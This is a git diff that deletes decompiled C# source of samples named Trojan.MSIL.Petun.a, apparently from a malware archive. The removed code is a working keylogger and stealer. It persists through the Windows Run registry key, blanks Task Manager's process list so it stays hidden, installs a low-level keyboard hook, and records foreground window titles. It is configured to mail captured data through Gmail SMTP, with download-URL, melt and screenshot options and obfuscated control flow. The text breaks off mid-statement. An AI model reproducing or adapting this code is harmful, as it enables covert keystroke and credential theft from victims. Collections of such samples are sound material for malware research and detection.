System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace My -{ - [HideModuleName] - [StandardModule] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class MyWebServices - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal new Type GetType() => typeof (MyProject.MyWebServices); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyWebServices() - { - } - } - - [ComVisible(false)] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4556d4607e9591ff64688b7123d6527b7100af77a178e43b531af74902d4f932/ROS.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4556d4607e9591ff64688b7123d6527b7100af77a178e43b531af74902d4f932/ROS.cs deleted file mode 100644 index e2062e6d..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4556d4607e9591ff64688b7123d6527b7100af77a178e43b531af74902d4f932/ROS.cs +++ /dev/null @@ -1,105 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ROS -// Assembly: Koxp-TT1882, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 46CDD81C-F46A-4297-9CDC-361B9411A2F5 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-4556d4607e9591ff64688b7123d6527b7100af77a178e43b531af74902d4f932.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using My; -using System; -using System.Windows.Forms; - -[StandardModule] -internal sealed class ROS -{ - public static bool get_Runonstartup(string CommandLine = null, ROS.StartupCheckCriteria Criteria = ROS.StartupCheckCriteria.Either) - { - RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\IaXtdouq", true); - string Right = Strings.Trim(Application.ExecutablePath + " " + CommandLine); - bool runonstartup1; - if (Criteria != ROS.StartupCheckCriteria.NameOnly) - { - string[] valueNames = registryKey.GetValueNames(); - int index = 0; - while (index < valueNames.Length) - { - string str = valueNames[index]; - if (Operators.ConditionalCompareObjectEqual(registryKey.GetValue(str), (object) Right, false)) - { - if (Operators.CompareString(str, MyProject.Application.Info.ProductName, false) != 0) - { - registryKey.DeleteValue(str); - registryKey.SetValue(Application.ProductName, (object) Right); - } - runonstartup1 = true; - break; - } - checked { ++index; } - } - } - bool runonstartup2; - if (Criteria != ROS.StartupCheckCriteria.PathOnly && ROS.InArray((Array) registryKey.GetValueNames(), Application.ProductName)) - { - if (Operators.ConditionalCompareObjectNotEqual(registryKey.GetValue(Application.ProductName), (object) Right, false)) - registryKey.SetValue(Application.ProductName, (object) Right); - runonstartup2 = true; - } - registryKey.Close(); - switch (Criteria) - { - case ROS.StartupCheckCriteria.Either: - return runonstartup1 | runonstartup2; - case ROS.StartupCheckCriteria.PathOnly: - return runonstartup2; - case ROS.StartupCheckCriteria.NameOnly: - return runonstartup1; - case ROS.StartupCheckCriteria.Both: - return runonstartup1 & runonstartup2; - default: - return false; - } - } - - public static void set_Runonstartup( - string CommandLine = null, - ROS.StartupCheckCriteria Criteria = ROS.StartupCheckCriteria.Either, - bool value) - { - RegistryKey registryKey = Operators.CompareString(Module1.zYRNYpEZN, "CurrentUser", false) != 0 ? Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true) : Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true); - if (value) - registryKey.SetValue(MyProject.Application.Info.ProductName, (object) Strings.Trim(Application.ExecutablePath + " " + CommandLine)); - else if (ROS.InArray((Array) registryKey.GetValueNames(), Application.ProductName)) - registryKey.DeleteValue(Application.ProductName); - registryKey.Close(); - } - - public static bool InArray(Array Arr, string Str) - { - bool flag = false; - int num1 = Information.UBound(Arr); - int num2 = 0; - while (num2 <= num1) - { - if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Arr, new object[1] - { - (object) num2 - }, (string[]) null), (object) Str, false)) - { - flag = true; - break; - } - checked { ++num2; } - } - return flag; - } - - public enum StartupCheckCriteria - { - Either, - PathOnly, - NameOnly, - Both, - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4556d4607e9591ff64688b7123d6527b7100af77a178e43b531af74902d4f932/Trojan.MSIL.Petun.a.csproj b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4556d4607e9591ff64688b7123d6527b7100af77a178e43b531af74902d4f932/Trojan.MSIL.Petun.a.csproj deleted file mode 100644 index d45260c9..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4556d4607e9591ff64688b7123d6527b7100af77a178e43b531af74902d4f932/Trojan.MSIL.Petun.a.csproj +++ /dev/null @@ -1,48 +0,0 @@ - - - - - Debug - AnyCPU - {94CC34A6-B340-415C-9772-A0931F4CC0D2} - WinExe - Koxp-TT1882 - 0.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4556d4607e9591ff64688b7123d6527b7100af77a178e43b531af74902d4f932/Trojan.MSIL.Petun.a.sln b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4556d4607e9591ff64688b7123d6527b7100af77a178e43b531af74902d4f932/Trojan.MSIL.Petun.a.sln deleted file mode 100644 index bb6ba0c8..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4556d4607e9591ff64688b7123d6527b7100af77a178e43b531af74902d4f932/Trojan.MSIL.Petun.a.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Koxp-TT1882", "Trojan.MSIL.Petun.a-4556d4607e9591ff64688b7123d6527b7100af77a178e43b531af74902d4f932.csproj", "{94CC34A6-B340-415C-9772-A0931F4CC0D2}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {94CC34A6-B340-415C-9772-A0931F4CC0D2}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {94CC34A6-B340-415C-9772-A0931F4CC0D2}.Debug|Any CPU.Build.0 = Debug|Any CPU - {94CC34A6-B340-415C-9772-A0931F4CC0D2}.Release|Any CPU.ActiveCfg = Release|Any CPU - {94CC34A6-B340-415C-9772-A0931F4CC0D2}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4556d4607e9591ff64688b7123d6527b7100af77a178e43b531af74902d4f932/imNmxrKIe.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4556d4607e9591ff64688b7123d6527b7100af77a178e43b531af74902d4f932/imNmxrKIe.cs deleted file mode 100644 index ee3b48d6..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4556d4607e9591ff64688b7123d6527b7100af77a178e43b531af74902d4f932/imNmxrKIe.cs +++ /dev/null @@ -1,113 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: imNmxrKIe -// Assembly: Koxp-TT1882, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 46CDD81C-F46A-4297-9CDC-361B9411A2F5 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-4556d4607e9591ff64688b7123d6527b7100af77a178e43b531af74902d4f932.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Runtime.InteropServices; -using System.Text; -using System.Windows.Forms; - -[StandardModule] -internal sealed class imNmxrKIe -{ - private const int LVM_FIRST = 4096; - private const int LVM_DELETECOLUMN = 4124; - private static Timer t = new Timer(); - - [DllImport("user32", EntryPoint = "SendMessageA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SendMessage(IntPtr Hwnd, int wMsg, int wParam, int lParam); - - [DllImport("user32.dll", EntryPoint = "FindWindowA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int FindWindow([MarshalAs(UnmanagedType.VBByRefStr)] ref string lpClassName, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpWindowName); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int EnumChildWindows( - IntPtr hWndParent, - imNmxrKIe.EnumDelegate lpEnumFunc, - int lParam); - - [DllImport("user32.dll", EntryPoint = "GetClassNameA", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern long GetClassName(long hWnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpClassName, long nMaxCount); - - [DllImport("user32", EntryPoint = "GetClassNameA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetClassName(IntPtr hWnd, StringBuilder lpClassName, int nMaxCount); - - [DllImport("user32", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int cch); - - [DllImport("user32", EntryPoint = "GetWindowTextLengthA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowTextLength(IntPtr hWnd); - - private static void t_Tick(object sender, EventArgs e) - { - string str1 = (string) null; - ref string local1 = ref str1; - string str2 = "Windows Task Manager"; - ref string local2 = ref str2; - IntPtr window = (IntPtr) imNmxrKIe.FindWindow(ref local1, ref local2); - if (!(window != (IntPtr) 0)) - return; - imNmxrKIe.EnumChildWindows(window, new imNmxrKIe.EnumDelegate(imNmxrKIe.EnumChildWindows), 0); - } - - public static bool Running - { - get => imNmxrKIe.t.Enabled; - set - { - if (value) - { - if (imNmxrKIe.t.Interval != 500) - { - Timer t = imNmxrKIe.t; - imNmxrKIe.t.Tick += new EventHandler(imNmxrKIe.t_Tick); - t.Interval = 500; - t.Enabled = true; - t.Start(); - } - else - { - imNmxrKIe.t.Enabled = true; - imNmxrKIe.t.Start(); - } - } - else - { - imNmxrKIe.t.Enabled = false; - imNmxrKIe.t.Stop(); - } - } - } - - private static int EnumChildWindows(IntPtr lngHwnd, int lngLParam) - { - string str = imNmxrKIe.GetClass(lngHwnd); - string titleText = imNmxrKIe.GetTitleText(lngHwnd); - lngHwnd.ToString() + ", " + str + ", " + titleText; - return 1; - } - - private static string GetClass(IntPtr handle) - { - StringBuilder lpClassName = new StringBuilder(); - lpClassName.Length = (int) byte.MaxValue; - imNmxrKIe.GetClassName(handle, lpClassName, lpClassName.Length); - if (Strings.InStr(lpClassName.ToString(), "SysListView32") != 0) - imNmxrKIe.SendMessage(handle, 4124, (int) (IntPtr) 0, 0); - return lpClassName.ToString(); - } - - private static string GetTitleText(IntPtr handle) - { - StringBuilder lpString = new StringBuilder(); - lpString.Length = checked (imNmxrKIe.GetWindowTextLength(handle) + 1); - imNmxrKIe.GetWindowText(handle, lpString, lpString.Length); - return lpString.ToString(); - } - - private delegate int EnumDelegate(IntPtr lngHwnd, int lngLParam); -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-47e879175f4baac8d24e5f7eba026a7e6b2e35fefbd029453110345a2057ecce/AssemblyInfo.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-47e879175f4baac8d24e5f7eba026a7e6b2e35fefbd029453110345a2057ecce/AssemblyInfo.cs deleted file mode 100644 index 1e886428..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-47e879175f4baac8d24e5f7eba026a7e6b2e35fefbd029453110345a2057ecce/AssemblyInfo.cs +++ /dev/null @@ -1,3 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-47e879175f4baac8d24e5f7eba026a7e6b2e35fefbd029453110345a2057ecce/CJnBzQT.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-47e879175f4baac8d24e5f7eba026a7e6b2e35fefbd029453110345a2057ecce/CJnBzQT.cs deleted file mode 100644 index 05ada4af..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-47e879175f4baac8d24e5f7eba026a7e6b2e35fefbd029453110345a2057ecce/CJnBzQT.cs +++ /dev/null @@ -1,77 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: CJnBzQT -// Assembly: test1, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: E8116EE9-6C79-4180-A1B1-1330F6BC88B7 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Petun.a-47e879175f4baac8d24e5f7eba026a7e6b2e35fefbd029453110345a2057ecce.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Threading; - -internal class CJnBzQT : IDisposable -{ - private readonly object mMutex; - private bool _mMutexOwned; - - [MethodImpl(MethodImplOptions.NoInlining)] - public CJnBzQT(string name) - { - CJnBzQT.gwIohX6QmCYEPDWZZIs(); - int num = CJnBzQT.\u0030DUw3o6aUyoqB3a4q74() ? 4 : 2; - while (true) - { - switch (num) - { - case 0: - case 2: - CJnBzQT.rKbD0k6wFQbcyvVkRbd((object) this); - goto case 1; - case 1: - case 4: - this.mMutex = (object) new Mutex(false, name); - goto case 3; - case 3: - this._mMutexOwned = false; - num = 5; - continue; - case 5: - goto label_3; - default: - num = 3; - continue; - } - } -label_3:; - } - - [MethodImpl(MethodImplOptions.NoInlining)] - public bool IsRunning() - { - this._mMutexOwned = CJnBzQT.KA3mRN6NDw5caL84h1A(this.mMutex, 0, true); - return !this._mMutexOwned; - } - - [MethodImpl(MethodImplOptions.NoInlining)] - public void Dispose() - { - if (!this._mMutexOwned) - return; - CJnBzQT.khbDXA6jhmpL3LuxKIu(this.mMutex); - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void rKbD0k6wFQbcyvVkRbd([In] object obj0) => obj0.\u002Ector(); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static bool gwIohX6QmCYEPDWZZIs() => true; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static bool \u0030DUw3o6aUyoqB3a4q74() => false; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static bool KA3mRN6NDw5caL84h1A([In] object obj0, [In] int obj1, [In] bool obj2) => ((WaitHandle) obj0).WaitOne(obj1, obj2); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void khbDXA6jhmpL3LuxKIu([In] object obj0) => ((Mutex) obj0).ReleaseMutex(); -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-47e879175f4baac8d24e5f7eba026a7e6b2e35fefbd029453110345a2057ecce/Module1.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-47e879175f4baac8d24e5f7eba026a7e6b2e35fefbd029453110345a2057ecce/Module1.cs deleted file mode 100644 index 11464f17..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-47e879175f4baac8d24e5f7eba026a7e6b2e35fefbd029453110345a2057ecce/Module1.cs +++ /dev/null @@ -1,4403 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Module1 -// Assembly: test1, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: E8116EE9-6C79-4180-A1B1-1330F6BC88B7 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Petun.a-47e879175f4baac8d24e5f7eba026a7e6b2e35fefbd029453110345a2057ecce.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.VisualBasic.Devices; -using Microsoft.Win32; -using My; -using System; -using System.Collections.ObjectModel; -using System.Diagnostics; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Net; -using System.Net.Mail; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Security.Cryptography; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -[StandardModule] -internal sealed class Module1 -{ - private static bool drYpcgGt; - private static bool zvHKZuvG; - private static bool pfLUUTYJ; - private static bool PHfun; - private static bool glyJe; - private static bool QPrZq; - private static object TNfczVtli; - private static object cJciqfLUV; - private static int JMEcrkUDF; - private static object pxLmGlKbC; - public static object doGVcenLG; - private static object DBGqxF; - private static object fXwZEC; - private static object dnWWKK; - private static object SDDate; - private static bool TakeScrns; - private static object Message; - private static object Delay; - private static bool FRMsg; - private static bool NoEL; - private static bool SSTime; - private static object SSInt; - private static bool JgyLyv; - private static object JPLWno; - private static bool FUBHaiY; - private static object QtVGWac; - private static bool SnBnaCY; - private static bool QEZPGU; - private static object NWiLe; - private static object ikRXq; - private static object pmgyv; - private static object BNefB; - private static object DdoiBxU; - private static object JeRbytX; - private static object XghfkIO; - private static object VNlBtdLO; - private static object lMVhKdJg; - private static object xJPLWnCK; - private static object zIxdYZXc; - private static bool DuTwbZHv; - private static bool StDPqLpO; - private static bool yitzvHYZ; - private static bool LSlsiOJK; - private static bool bruxpOrW; - private static bool GoobOpMY; - private const int mmCGJBZoh = 257; - private const short vjVwTStbs = 256; - private const int YwokwNcxl = 260; - private const int lRaaZeBIP = 261; - private static IntPtr KeyboardHandle; - private static object LastCheckedForegroundTitle; - private static object callback; - private static object ZTliFbzF; - - [MethodImpl(MethodImplOptions.NoInlining)] - static Module1() - { - int num1 = 35; - string[] strArray; - while (true) - { - switch (num1) - { - case 0: - case 14: - Module1.SDDate = (object) "2011.01.24."; - num1 = 46; - continue; - case 1: - Module1.Delay = (object) "+DelOff+"; - num1 = 25; - continue; - case 2: - Module1.JPLWno = (object) "http://www.exampleserver.com/directfile.exe"; - num1 = 21; - continue; - case 3: - Module1.PHfun = false; - num1 = 9; - continue; - case 4: - Module1.Message = (object) strArray; - if (!Module1.\u0039tQwKe2CnnLlNBStFc()) - { - num1 = 1; - continue; - } - goto case 42; - case 5: - Module1.pxLmGlKbC = (object) "cPpM"; - if (!Module1.\u0039tQwKe2CnnLlNBStFc()) - { - num1 = 50; - continue; - } - goto case 29; - case 6: - Module1.JgyLyv = false; - num1 = 2; - continue; - case 7: - strArray[0] = "+MsgFalse+"; - num1 = 24; - continue; - case 8: - Module1.SSInt = (object) "10"; - goto case 6; - case 9: - Module1.glyJe = false; - num1 = 13; - continue; - case 10: - Module1.ikRXq = (object) "data.hu"; - num1 = 42; - continue; - case 11: - Module1.zIxdYZXc = (object) "]----"; - num1 = 34; - continue; - case 12: - Module1.bruxpOrW = true; - if (!Module1.\u0039tQwKe2CnnLlNBStFc()) - { - num1 = 30; - continue; - } - goto case 31; - case 13: - Module1.QPrZq = false; - num1 = 29; - continue; - case 15: - Module1.dnWWKK = (object) "windowsint.exe"; - num1 = Module1.\u0039tQwKe2CnnLlNBStFc() ? 49 : 0; - continue; - case 16: - Module1.KeyboardHandle = Module1.urlYk5DMsRD6pl8GXI(0); - num1 = 31; - continue; - case 17: - Module1.LSlsiOJK = true; - if (true) - { - num1 = 12; - continue; - } - goto case 40; - case 18: - Module1.fXwZEC = (object) "ePJQtHGWad"; - num1 = 15; - continue; - case 19: - Module1.BNefB = (object) "/"; - num1 = 41; - continue; - case 20: - strArray = new string[3]; - num1 = 7; - continue; - case 21: - Module1.FUBHaiY = false; - if (Module1.aK5Gis8GMgDL8lkmJj()) - { - num1 = 26; - continue; - } - goto case 51; - case 22: - Module1.QEZPGU = true; - num1 = 38; - continue; - case 23: - Module1.JMEcrkUDF = 3; - int num2 = 5; - num1 = Module1.\u0039tQwKe2CnnLlNBStFc() ? num2 : num2; - continue; - case 24: - strArray[1] = "+MsgMsg+"; - num1 = 51; - continue; - case 25: - Module1.FRMsg = true; - if (true) - { - num1 = 45; - continue; - } - goto case 10; - case 26: - Module1.QtVGWac = (object) "setup.exe"; - num1 = 32; - continue; - case 27: - Module1.callback = (object) null; - if (Module1.aK5Gis8GMgDL8lkmJj()) - { - num1 = 52; - continue; - } - goto case 39; - case 28: - Module1.zvHKZuvG = false; - num1 = 36; - continue; - case 29: - Module1.TNfczVtli = (object) "5"; - if (true) - { - num1 = 47; - continue; - } - goto case 47; - case 30: - Module1.GoobOpMY = true; - if (!Module1.\u0039tQwKe2CnnLlNBStFc()) - { - num1 = 16; - continue; - } - goto case 28; - case 31: - Module1.LastCheckedForegroundTitle = (object) ""; - if (Module1.aK5Gis8GMgDL8lkmJj()) - { - num1 = 27; - continue; - } - goto case 15; - case 32: - Module1.SnBnaCY = false; - num1 = 22; - continue; - case 33: - Module1.DBGqxF = (object) "Melt"; - num1 = 18; - continue; - case 34: - Module1.yitzvHYZ = true; - if (true) - { - num1 = 17; - continue; - } - goto case 2; - case 35: - Module1.drYpcgGt = false; - num1 = 28; - continue; - case 36: - Module1.pfLUUTYJ = false; - num1 = 3; - continue; - case 37: - Module1.XghfkIO = (object) "LHs1gVoZGRA="; - goto case 39; - case 38: - Module1.NWiLe = (object) "dkhRTYWsuas="; - num1 = 10; - continue; - case 39: - case 49: - Module1.VNlBtdLO = (object) "example@exampleserver.com"; - num1 = 43; - continue; - case 40: - Module1.SSTime = false; - num1 = 8; - continue; - case 41: - Module1.DdoiBxU = (object) "smtp.gmail.com"; - num1 = 48; - continue; - case 42: - Module1.pmgyv = (object) "ZJh4hIA7VJ58xjoK72HqOQ=="; - num1 = 19; - continue; - case 43: - Module1.lMVhKdJg = (object) "587"; - num1 = 44; - continue; - case 44: - Module1.xJPLWnCK = (object) "----["; - if (true) - { - num1 = 11; - continue; - } - goto case 41; - case 45: - Module1.NoEL = false; - if (true) - { - num1 = 40; - continue; - } - goto case 23; - case 46: - Module1.TakeScrns = false; - num1 = 20; - continue; - case 47: - Module1.cJciqfLUV = (object) "FaF"; - num1 = 23; - continue; - case 48: - Module1.JeRbytX = (object) "LHs1gVoZGRA="; - num1 = 37; - continue; - case 50: - Module1.doGVcenLG = (object) "LocalMachine"; - num1 = 33; - continue; - case 51: - strArray[2] = "+Ico+"; - num1 = 4; - continue; - case 52: - goto label_30; - default: - if (true) - { - num1 = 6; - continue; - } - goto case 1; - } - } -label_30:; - } - - public static string fWNakTT - { - [MethodImpl(MethodImplOptions.NoInlining)] get => (string) Module1.IYFgqgUkYKDSY4eyFP(Environment.SpecialFolder.ApplicationData); - [MethodImpl(MethodImplOptions.NoInlining)] set - { - } - } - - public static string rdhIvtn - { - [MethodImpl(MethodImplOptions.NoInlining)] get => (string) Module1.IYFgqgUkYKDSY4eyFP(Environment.SpecialFolder.Favorites); - [MethodImpl(MethodImplOptions.NoInlining)] set - { - } - } - - public static string TXlHISb - { - [MethodImpl(MethodImplOptions.NoInlining)] get => (string) Module1.IYFgqgUkYKDSY4eyFP(Environment.SpecialFolder.Personal); - [MethodImpl(MethodImplOptions.NoInlining)] set - { - } - } - - public static string uajkinY - { - [MethodImpl(MethodImplOptions.NoInlining)] get => (string) Module1.IYFgqgUkYKDSY4eyFP(Environment.SpecialFolder.System); - [MethodImpl(MethodImplOptions.NoInlining)] set - { - } - } - - public static string LNFetlW - { - [MethodImpl(MethodImplOptions.NoInlining)] get => (string) Module1.V0sYVhTYXKF6kbm7uN(Module1.IYFgqgUkYKDSY4eyFP(Environment.SpecialFolder.System), (object) "\\system32", (object) ""); - [MethodImpl(MethodImplOptions.NoInlining)] set - { - } - } - - public static string LT - { - [MethodImpl(MethodImplOptions.NoInlining)] get => (string) Module1.Cu6LEMoCdLZt1XXcm1(Module1.jZCMD30I9rA2jkTnmo(), (object) " - ", Module1.V0sYVhTYXKF6kbm7uN(Module1.V0sYVhTYXKF6kbm7uN(Module1.V0sYVhTYXKF6kbm7uN((object) Module1.OBKlNtLdB5w6bbZabL().ToString(), (object) " ", (object) "-"), (object) "/", (object) "-"), (object) ":", (object) ".")); - [MethodImpl(MethodImplOptions.NoInlining)] set - { - } - } - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int CallNextHookEx( - int hHook, - int nCode, - int wParam, - Module1.soonsdW lParam); - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int MosHDlzYZ(int hHook); - - [DllImport("user32", EntryPoint = "SetWindowsHookExA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SetWindowsHookEx( - int idHook, - Module1.KeyboardHookDelegate lpfn, - int hmod, - int dwThreadId); - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetAsyncKeyState(int vKey); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetForegroundWindow(); - - [DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowText(int hwnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpString, int cch); - - [MethodImpl(MethodImplOptions.NoInlining)] - private static string cgGg() - { - string str; - try - { - string lpString = new string(char.MinValue, 100); - int num = 3; - while (true) - { - switch (num) - { - case 0: - case 1: - lpString = (string) Module1.flsXGuZ01VhsxXweYp((object) lpString, 0, checked (Module1.UW2E6apA6w4vt7wMnt((object) lpString, (object) "\0", CompareMethod.Binary) - 1)); - goto default; - case 3: - Module1.GetWindowText(Module1.GetForegroundWindow(), ref lpString, 100); - Module1.\u0039tQwKe2CnnLlNBStFc(); - if (Module1.aK5Gis8GMgDL8lkmJj()) - { - if (true) - { - num = 0; - continue; - } - goto case 0; - } - else - { - num = 4; - continue; - } - case 5: - goto label_10; - default: - str = lpString; - if (Module1.aK5Gis8GMgDL8lkmJj()) - { - num = 5; - continue; - } - goto case 3; - } - } - } - catch (Exception ex) - { - Module1.lorJqFhvZq7sEyUWus((object) ex); - str = ""; - Module1.tfQG9ZxSAoLso7uAc4(); - } -label_10: - return str; - } - - [MethodImpl(MethodImplOptions.NoInlining)] - private static object tLZuirQLn() - { - object obj; - try - { - obj = (object) Module1.cLpNIo7jf2YYnaVlfH(Module1.KeyboardHandle, Module1.urlYk5DMsRD6pl8GXI(0)); - } - catch (Exception ex) - { - Module1.lorJqFhvZq7sEyUWus((object) ex); - obj = (object) ""; - Module1.tfQG9ZxSAoLso7uAc4(); - } - return obj; - } - - [MethodImpl(MethodImplOptions.NoInlining)] - public static void rlEBXtS() - { - try - { - Module1.callback = (object) new Module1.KeyboardHookDelegate(Module1.rfRs); - int num; - if (Module1.aK5Gis8GMgDL8lkmJj()) - num = 2; - else - goto label_6; -label_4: - switch (num) - { - case 0: - case 2: - Module1.KeyboardHandle = Module1.urlYk5DMsRD6pl8GXI(Module1.SetWindowsHookEx(13, (Module1.KeyboardHookDelegate) Module1.callback, Module1.KuG1oecseu4CmPle79(Module1.bN2AeBBliUJyrEgTMi(Module1.WoGI1JS4OhjvTnnpUG(Module1.\u0039lRgvVXgQbuXwcwlAA()))), 0)); - goto label_7; - case 4: - return; - default: - goto label_7; - } -label_6: - num = 3; - if (true) - goto label_4; -label_7: - Module1.cLpNIo7jf2YYnaVlfH(Module1.KeyboardHandle, Module1.urlYk5DMsRD6pl8GXI(0)); - if (false) - return; - num = 